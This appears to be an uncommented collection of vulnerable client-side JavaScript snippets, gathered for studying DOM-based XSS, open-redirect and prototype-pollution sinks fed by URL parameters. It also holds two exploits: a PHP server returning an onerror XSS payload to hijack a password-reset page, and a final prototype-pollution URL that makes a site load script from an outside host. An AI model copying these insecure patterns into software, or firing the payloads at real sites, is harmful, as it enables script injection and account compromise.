var url = window.location.href;
        var newUrl = 'DjamLanding.aspx';
        var splitString = url.split('?url=');
        if (splitString.length > 1) {
            newUrl = splitString[1];
            window.top.location.href = newUrl;
        }
        else {
            // New Url With NO query string
            alert('NO query string');
        }
        window.top.location.href = newUrl;

    var getUrlParameter = function getUrlParameter(sParam) {
        var sPageURL = window.location.search.substring(1),
            sURLVariables = sPageURL.split('&'),
            sParameterName,
            i;
        for (i = 0; i < sURLVariables.length; i++) {
            sParameterName = sURLVariables[i].split('=');

            if (sParameterName[0] === sParam) {
                return sParameterName[1] === undefined ? true : decodeURIComponent(sParameterName[1]);
            }
        }
    };

function getQueryParamByName(e) {
    var t = window.location.href;
    e = e.replace(/[\[\]]/g, "\\$&");
    var a = new RegExp("[?&]" + e + "(=([^&#]*)|&|#|$)").exec(t);
    return a ? a[2] ? decodeURIComponent(a[2].replace(/\+/g, " ")) : "" : null
}

new URLSearchParams(window.location.search).get('ParamName')

  var e = $(".alert.has-icon")
      , t = getURLParameter("sca_success") || ""
      , n = getURLParameter("sca_message") || "";
    "true" == t && "true" == n ? (0 < e.length ? showNotification("Your plan has been updated successfully", "success", 5e3) : jQuery.bsAlert.alert({
        text: "Your plan has been updated successfully",
        alertType: "success"
    }),
    resetPageURL()) : n && (0 < e.length ? showNotification(n, "error", 5e3) : jQuery.bsAlert.alert({
        text: n,
        alertType: "error",
        timeout: 15e3
    }),

<iframe id="poster-element" class="poster-element" style="width: 100vw; height: 100vh; border: 0"></iframe>

const posterElement = document.getElementById( 'poster-element' )
function getField( name ) {
  let fname = document.getElementById( name )
  if( !fname ) fname = document.getElementById( 'data-' + name )
  let val
  if( fname ) {
    const isCheckbox = fname.matches( '[type="checkbox"]' )
    if( isCheckbox ) val = fname.checked
    else val = fname.value || fname.content
    // check for a hard true (from the checkbox)
    if( val === true || (val && val.length > 0) ) return val
    else {
      val = getURLParameter( name )
      if( val && val.length > 0 ) {
        if( isCheckbox ) fname.checked = !!val
        else fname.value = val
      }
    }
  }
  return getURLParameter( name )
}

 if( posterElement && !posterElement.src ) {
    const posterSrc = getField( 'poster' ) || GLANCE.defaultPoster
    if( posterSrc ) {
      posterElement.src = posterSrc
      posterElement.classList.remove( 'invisible' )
    }
    else {
      posterElement.classList.add( 'invisible' )
    }
  }

function highlightSearchResults() {
    const e = $(".content_block .content_container .content_block_text:last");
    layoutData.enableSearchHighlight && highlightSearchContent("highlight", e);
    var t = getQueryParamByName("attachmentHighlight") || void 0;
    t && $(".content_block_head").after("<div class='infoBox search-attachment-result-box'>Please check the " + layoutData.attachments.toLowerCase() + " for matching keyword '" + t + "' search result</div>")
}

let ghSource = getUrlParameter('gh_src');
for (var something in sorted) {
    console.log(something);
    // let options = 'All Categories' + something;
    var sortedReplaced = replaceAll(something.replace(/\s/g, ''), '&', '');
    menuHtml.innerHTML += `<li data-filter="${sortedReplaced}" onClick="(function() { ga('IPTracker.send', 'event','button','click','${sortedReplaced}');})();"><span>${something}</span></li>`;
    // html += `<p class="hide">No data</p>`
    html += `       `
    let categ = array[something];
    html += `<div class="panel ${replaceAll(something.replace(/\s/g, ''), '&', '')}" data-filter="${replaceAll(something.replace(/\s/g, ''), '&', '')}">`
    let jobs = categ;
    for (let j = 0; j < jobs.length; j++) {
        let jobse = jobs[j];
        let location = jobs[j].location.name;
        let url;
        if (ghSource !== undefined) {
            // let url =
            url = (jobs[j].absolute_url, 't=gh_src=', 'gh_src=' + ghSource);
        } else {
            url = jobs[j].absolute_url;
        }

        html += `
                                            <p class="job" data-location="${replaceAll(location, '&', '')}"><a href="${url}" target="_blank"> ${jobse.title}</a><span>${location}</span></p>
                                            `
    }
    html += `</div>`
    dataEl.innerHTML = html
}

   document.writeln("<a href='https://twitter.com/share?text=" + location.href + "'target='_blank' rel='noreferrer noopener'>Twitter</a>");

            createInput: function(a) {
                var b = ""
                  , e = ""
                  , c = a.fieldPrefix || ga
                  , d = a.elementId || a.elementName
                  , f = a.elementClasses && B(a.elementClasses) ? a.elementClasses : []
                  , g = "object" === typeof a.elementAttributes ? a.elementAttributes : {}
                  , h = "button" === a.type || "submit" === a.type || "checkbox" === a.type || "radio" === a.type || "hidden" === a.type
                  , k = a.justElement || a.collection || "hidden" === a.type || "button" === a.type || "submit" === a.type
                  , l = "password" === a.type && !Bb && a.placeholder ? "text" : a.type
                  , n = ("checkbox" === a.type && !a.collection || "radio" === a.type && !a.collection) && !a.justElement
                  , m = a.rendererFieldName
                  , p = a.rendererChildFieldName
                  , t = Hc && !a.collection;
                I(f, "capture_" + d) || f.push("capture_" + d);
                h || (e += q.createLabel(a));
                a.validation && a.validation.required && f.push("capture_required");
                b += "<input ";
                a.hide && (b += "style='display:none' ");
                b = b + ("id='" + c + d + "' ") + (Oc(g) + " ");
                "text" === a.type || "email" === a.type || "password" === a.type || "file" === a.type ? I(f, "capture_text_input") || f.push("capture_text_input") : "checkbox" === a.type || "radio" === a.type ? I(f, "capture_input_" + a.type) || f.push("capture_input_" + a.type) : "submit" === a.type && (I(f, "capture_btn") || f.push("capture_btn"),
                I(f, "capture_primary") || f.push("capture_primary"));
                b += "data-capturefield='" + a.name + "' ";
                a.collection && (b += "data-capturecollection='true' ");
                m && (b += "data-capturerendererfield='" + m + "' ");
                p && (b += "data-capturerendererchildfieldname='" + p + "' ");
                "checkbox" !== a.type && "radio" !== a.type || !a.elementValue ? a.value || "string" === typeof a.displaySavedValue ? (g = a.value,
                h = "string" === typeof a.displaySavedValue ? a.displaySavedValue : a.value,
                a.displaySavedValue && ed[h] && (g = wd(ed[h]),
                "password" === a.type && (l = "password")),
                "password" !== a.type && "text" !== a.type && "email" !== a.type || a.errors || !t || Ed.push(c + d),
                b += "value='" + g + "' ") : a.placeholder && !Bb ? (b += "value='" + wd(a.placeholder) + "' ",
                I(f, "capture_input_placeholder") || f.push("capture_input_placeholder")) : b += "value='' " : b += "value='" + wd(a.elementValue) + "' ";
                b = b + ("type='" + l + "' ") + ("class='" + f.join(" ") + "' ");
                a.subId && (b += 'data-subid="' + a.subId + '" ');
                a.placeholder && (b += "placeholder='" + wd(a.placeholder) + "' ");
                if (a.checked || a.elementValue && a.value === a.elementValue)
                    b += "checked='checked' ";
                b += "name='" + a.elementName + "' ";
                b += "/>";
                e = "checkbox" === a.type || "radio" === a.type ? e + q.createLabel(a, b) : e + b;
                a.modify && q.attachModifyEventHandler(a);
                a.publicPrivateToggle && (e += q.createPublicPrivateToggle(a));
                n && (e += "</div>");
                k || (e += q.createTip(a));
                a.profileStoragePath && "undefined" === typeof a.value && q.setElementAttributeWithLocalStorage(a, c + d, "value");
                return e
            },

                     d.appendChild(q.domHelpers.createInput({
                        elementType: "hidden",
                        fieldPrefix: c,
                        elementName: "redirect_uri",
                        elementId: "redirect_uri_" + b,
                        elementValue: janrain.settings.capture.redirectUri
                    }));

 $(document).ready(function() {

                $('#resetform').on("submit",function(e) {  	 
                    e.preventDefault();
                    
                    if(getParameterByName("target")){
                    var password = $("#resetform").find("input[name='password']");
                    var referenceID = getParameterByName("referenceID");
                    var referenceType = getParameterByName("referenceType")
                    var token = getParameterByName("token");
                    var target = window.atob(getParameterByName("target"));
                    var url = "https://" + target + "/api/v1/reset/" + referenceID;
                    var request = new XMLHttpRequest(); 
                    
                    request.open("PUT", url, true); 
                    request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                    request.onreadystatechange = function() { 
                        if(request.readyState == request.DONE) {
                            var response = request.responseText;
                            var obj = JSON.parse(response);

                            if (request.status == 200) {
                                window.location.replace("thank-you.html");
                            }else{
                                document.getElementById("errormsg").innerHTML = obj['Description'];
                                document.getElementById("errormsg").style.display = "block";
                                document.getElementById("errormsg").scrollIntoView(); 
                            }
                        }
                    } 
                    request.send("password="+password.val()+"&token="+token+"&referenceType="+referenceType);
                    }else{
                        document.getElementById("errormsg").innerHTML = "There was a problem with your password reset.";
                        document.getElementById("errormsg").style.display = "block";
                        document.getElementById("errormsg").scrollIntoView(); 
                    }
                    return false;
                });
            });

<?php
header("HTTP/1.0 201 OK");
header("Access-Control-Allow-Origin: https://qwe.com");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: OPTIONS,HEAD,DELETE,GET,PUT,POST");

echo '{"Description":"<img/src=x onerror=alert(1)>"}';
?>

_h_processUrlArgs: function() {
        var
            h_search = document.location.search,
            h_args,
            h_property,
            h_i, h_cnt;

        if (!h_search) {
            return;
        }

        h_args = h_search.substr(1).split('&');

        for (h_i = 0, h_cnt = h_args.length; h_i < h_cnt; h_i++) {
            h_property = h_args[h_i].split('=');

            switch (h_property[0]) {
                case 'h_debug':
                    this._h_debugMode = true;
                    break;
                case 'weblibFiles':
                    kio.lib._h_buildDescription.h_weblibFiles.h_path = this._h_getPath(h_property[1]);
                    this._h_getFile(h_property[1], 'kio.lib._h_buildDescription.h_weblibFiles.h_files');
                    this._h_normalizeBuildDescription(kio.lib._h_buildDescription.h_weblibFiles);
                    break;
                case 'appFiles':
                    kio.lib._h_buildDescription.h_appFiles.h_path = document.location.origin + this._h_getPath(h_property[1]);
                    this._h_getFile(h_property[1], 'kio.lib._h_buildDescription.h_appFiles.h_files');
                    this._h_normalizeBuildDescription(kio.lib._h_buildDescription.h_appFiles);
                    break;
            }
        }
    },

    _h_getPath: function(h_url) {
        var h_p = h_url.lastIndexOf('/');

        if (-1 !== h_p) {
            h_url = h_url.substr(0, h_p);
        }

        return h_url;
    },


    _h_getFile: function(h_url, h_variableName) {
        var h_xhr;

        if (window.XMLHttpRequest) {
            h_xhr = new window.XMLHttpRequest();
        } else if (window.ActiveXObject) {
            h_xhr = new window.ActiveXObject('Microsoft.XMLHTTP');
        }

        if (!h_xhr) {
            this.h_reportError('Internal error: Cannot load ' + h_url, 'kLib.js');
            return;
        }

        h_xhr.open('GET', h_url, false);
        h_xhr.send(null);

        if (h_variableName) {
            eval(h_variableName + '=' + h_xhr.responseText + ';');
        } else {
            eval(h_xhr.responseText);
        }
    },

        qs: function(e, t, n) {
            if (t)
                for (var i in n = n || encodeURIComponent,
                t) {
                    var o = new RegExp("([\\?\\&])" + i + "=[^\\&]*");
                    e.match(o) && (e = e.replace(o, "$1" + i + "=" + n(t[i])),
                    delete t[i])
                }
            return this.isEmpty(t) ? e : e + (-1 < e.indexOf("?") ? "&" : "?") + this.param(t, n)
        },
        param: function(e, t) {
            var n, i, o = {};
            if ("string" == typeof e) {
                if (t = t || decodeURIComponent,
                i = e.replace(/^[\#\?]/, "").match(/([^=\/\&]+)=([^\&]+)/g))
                    for (var a = 0; a < i.length; a++)
                        o[(n = i[a].match(/([^=]+)=(.*)/))[1]] = t(n[2]);
                return o
            }
            t = t || encodeURIComponent;
            var r, s = e, o = [];
            for (r in s)
                s.hasOwnProperty(r) && s.hasOwnProperty(r) && o.push([r, "?" === s[r] ? "?" : t(s[r])].join("="));
            return o.join("&")
        },

      responseHandler: function(e, t) {
            var a = this
              , n = e.location
              , i = a.param(n.search);
            if (i && i.state && (i.code || i.oauth_token))
                r = JSON.parse(i.state),
                i.redirect_uri = r.redirect_uri || n.href.replace(/[\?\#].*$/, ""),
                r = a.qs(r.oauth_proxy, i),
                n.assign(r);
            else if ((i = a.merge(a.param(n.search || ""), a.param(n.hash || ""))) && "state"in i) {
                try {
                    var o = JSON.parse(i.state);
                    a.extend(i, o)
                } catch (e) {
                    var r = decodeURIComponent(i.state);
                    try {
                        var s = JSON.parse(r);
                        a.extend(i, s)
                    } catch (e) {
                        console.error("Could not decode state parameter")
                    }
                }
                "access_token"in i && i.access_token && i.network ? (i.expires_in && 0 !== parseInt(i.expires_in, 10) || (i.expires_in = 0),
                i.expires_in = parseInt(i.expires_in, 10),
                i.expires = (new Date).getTime() / 1e3 + (i.expires_in || 31536e3),
                l(i, 0, t)) : "error"in i && i.error && i.network ? (i.error = {
                    code: i.error,
                    message: i.error_message || i.error_description
                },
                l(i, 0, t)) : i.callback && i.callback in t && (o = !!("result"in i && i.result) && JSON.parse(i.result),
                d(t, i.callback)(o),
                u()),
                i.page_uri && n.assign(i.page_uri)
            } else
                "oauth_redirect"in i && n.assign(decodeURIComponent(i.oauth_redirect));

 <script type="text/javascript">
            window.onload = ()=>{
                var e = window.location.search.replace("?", "").split("&");
                if (void 0 !== e && null != e && "" != e) {
                    var t = e[0].split("=");
                    if (void 0 !== t && t.length > 0) {
                        var l = t[1];
                        localStorage.setItem("deploymentJs", l),
                        n(l)
                    }
                } else {
                    var o = localStorage.getItem("deploymentJs") ? localStorage.getItem("deploymentJs") : "https://c.la1-c1cs-ord.xxxxx.com/content/g/js/49.0/deployment.js";
                    void 0 !== o && null != o && "" != o && n(o)
                }
                function n(e) {
                    let t = document.createElement("script");
                    t.setAttribute("src", e),
                    void 0 !== e && null != e && "" != e && document.body.appendChild(t)
                }
            }
        </script>

var query = getQueryParams();

$.each(query, function(key, value) {
    window[key] = value;
});

function getQueryParams() {

    var qs = document.location.search + '&' + document.location.hash.replace('#', '');

    qs = qs.split("+").join(" ");

    var params = {},
        tokens,
        re = /[?&]?([^=]+)=([^&]*)/g;

    while (tokens = re.exec(qs)) {
        params[decodeURIComponent(tokens[1])] = decodeURIComponent(tokens[2]);
    }

    return params;
}

String.prototype.queryStringToJSON = String.prototype.queryStringToJSON || function() {
    var params = String(this)  // 上文中this = location.href
      , params = params.substring(params.indexOf("?") + 1);
    if (params = params.replace(/\+/g, "%20"),
    "{" === params.substring(0, 1) && "}" === params.substring(params.length - 1))
        return eval(decodeURIComponent(params));
    params = params.split(/\&(amp\;)?/);
    for (var json = {}, i = 0, n = params.length; i < n; ++i) {
        var param = params[i] || null, key, value, key, value, keys, path, cmd, param;
        null !== param && (param = param.split("="),
        null !== param && (key = param[0] || null,
        null !== key && void 0 !== param[1] && (value = param[1],
        key = decodeURIComponent(key),
        value = decodeURIComponent(value),
        keys = key.split("."),
        1 === keys.length ? json[key] = value : (path = "",
        cmd = "",
        $.each(keys, function(ii, key) {
            path += '["' + key.replace(/"/g, '\\"') + '"]',
            jsonCLOSUREGLOBAL = json,
            cmd = "if ( typeof jsonCLOSUREGLOBAL" + path + ' === "undefined" ) jsonCLOSUREGLOBAL' + path + " = {}",
            eval(cmd),
            json = jsonCLOSUREGLOBAL,
            delete jsonCLOSUREGLOBAL
        }),
        jsonCLOSUREGLOBAL = json,
        valueCLOSUREGLOBAL = value,
        cmd = "jsonCLOSUREGLOBAL" + path + " = valueCLOSUREGLOBAL",
        eval(cmd),
        json = jsonCLOSUREGLOBAL,
        delete jsonCLOSUREGLOBAL,
        delete valueCLOSUREGLOBAL))))
    }
    return json
}

var POLL_INTERVAL = 2e3,
    MAX_POLLS = 3,
    ALLOWED_ORIGINS_REGEX = /^https?\:\/\/([^\/\?]+\.)*((testa|testb|testc)\.(net|com|com\.au))(\:\d+)?([\/\?]|$)/;

function onElementHeightChange(t, n, i, o) {
    if (t && n) {
        var r = t.clientHeight,
            a = 0,
            m = 0;
        o = o || MAX_POLLS,
            "number" == typeof r && (r -= 1),
            function e() {
                a = t.clientHeight,
                    m++,
                    r !== a && (n(), r = a),
                    t.onElementHeightChangeTimer && clearTimeout(t.onElementHeightChangeTimer),
                    i ? t.onElementHeightChangeTimer = setTimeout(e, i) : m <= o && (t.onElementHeightChangeTimer = setTimeout(e, POLL_INTERVAL))
            }()
    }
}
window.addEventListener("message",
    function(e) {
        if (ALLOWED_ORIGINS_REGEX.test(e.origin)) {
            if ("string" != typeof e.data) return;
            var t = e.source,
                n = e.origin,
                i = {};
            try {
                i = JSON.parse(e.data)
            } catch (e) {
                return
            }
            var o, r = i.id || 0,
                a = i.markup,
                m = i.scriptSrc,
                c = "",
                d = function() {
                    c = r + ":" + document.body.clientHeight,
                        t.postMessage(c, n)
                };
            if (a && (document.body.innerHTML = a, !m)) return void d();
            m && ((o = document.createElement("script")).src = m, o.onload = function() {
                    onElementHeightChange(document.body, d, i.pollInterval, i.maxPolls)
                },
                document.body.appendChild(o))
        }
    })

https://p8.testa.com/gb/view?ssc=us1&member=chinna.padma&constructor[prototype][jsAttributes][onafterscriptexecute]=document.body.innerHTML=%27%3Ciframe%20src=%22https://s.xx.com/yc/html/embed-iframe-min.2d7457d4.html%22%20onload=%22this.contentWindow.postMessage(window.atob(\%27eyJpZCI6IjEiLCJtYXJrdXAiOiJ4Iiwic2NyaXB0U3JjIjoiaHR0cHM6Ly9uai5ycyIsInBvbGxJbnRlcnZhbCI6IngiLCJtYXhQb2xscyI6IngifQ==\%27),\%27*\%27)%22%3E%3C/iframe%3E%27